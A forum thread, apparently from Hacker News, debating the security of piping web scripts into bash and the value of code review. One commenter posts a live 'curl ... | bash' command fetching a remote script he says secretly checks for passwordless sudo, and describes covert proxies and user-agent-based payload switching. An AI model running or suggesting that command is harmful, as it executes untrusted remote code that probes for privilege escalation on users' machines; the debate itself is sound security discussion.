4 ms·
What specific threat do you believe your advice is protecting people against?
by acdha 8y ago
What specific threat do you believe your advice is protecting people against?
- v_lisivka 8y agomalware
- acdha 8y agoThink about this more: what malware are you going to get by running that command that you wouldn't get by downloading the file and running it locally? You'll eventually realize that the answer is that this advice has no value. What could potentially have value is reviewing the code before running it, which can be done either way.
- jdeca568 8y agoThere is one difference still, by downloading it locally, you only have to check it once and not everytime you want to use the script. You definitely have to trust more parties by piping from the web, and these parties could be compromised at some point. This might be fine, it depends on your own security policy.
- v_lisivka 8y agoOf course, I can get malware in both ways, so recommended way is to trust a third party, a maintainer, which will review code, and then will create signed package.
- acdha 8y agoRight, so rather than talking about curl | bash it would really be better to talk about your review process since, for example, the same concerns apply if you do something like "npm install" without vetting every dependency.
- LinuxBender 8y agosudo -n is a start. Here is one I wrote that shows your internet speed, but will also check to see if you have passwordless sudo. Even without sudo, I could spawn and persist a gateway port ssh proxy outbound to a VPS node, but with sudo, I could do much more. curl -A Mozilla -s https://tinyvpn.org/misc/url_test.txt | bash
- acdha 8y ago… and you've installed this on Gitlab's servers? If not, the knowledge that people write malicious code is not new but the problem isn't running it using curl but not vetting the source and code before you run it. Focusing on the use of curl distracts attention from the part which matters.
- LinuxBender 8y agoI understand what you are saying, but respectfully disagree. Conditioning people to use `curl | bash` trains them to not review anything and blindly run untrusted code. I have proven this across a very large group of people, including many that are supposed to be security minded. This technique works on nearly all organizations, as most companies and government agencies do not force outbound traffic through a mitm proxy. I have mixed feelings about those devices. For what it's worth, where the code is running from doesn't really matter. The only advantage to pulling something from gitlab or github, is that I have to commit changes that anyone could see assuming I dont recreate the repo, which I can automate in their API. From any of my own VM's or servers, I can certainly make something look like a .txt that isn't and dynamically changes based on user-agent, remote addr, latency, ttl, etc.. I could even change the response if someone used curl with a fake user-agent, based on timing, but that is another blog post for another day.
- LinuxBender 8y agoHere is a thread discussing the detection of `curl | bash` based on script timing [1] [1] - https://news.ycombinator.com/item?id=17636032 https://news.ycombinator.com/item?id=17636032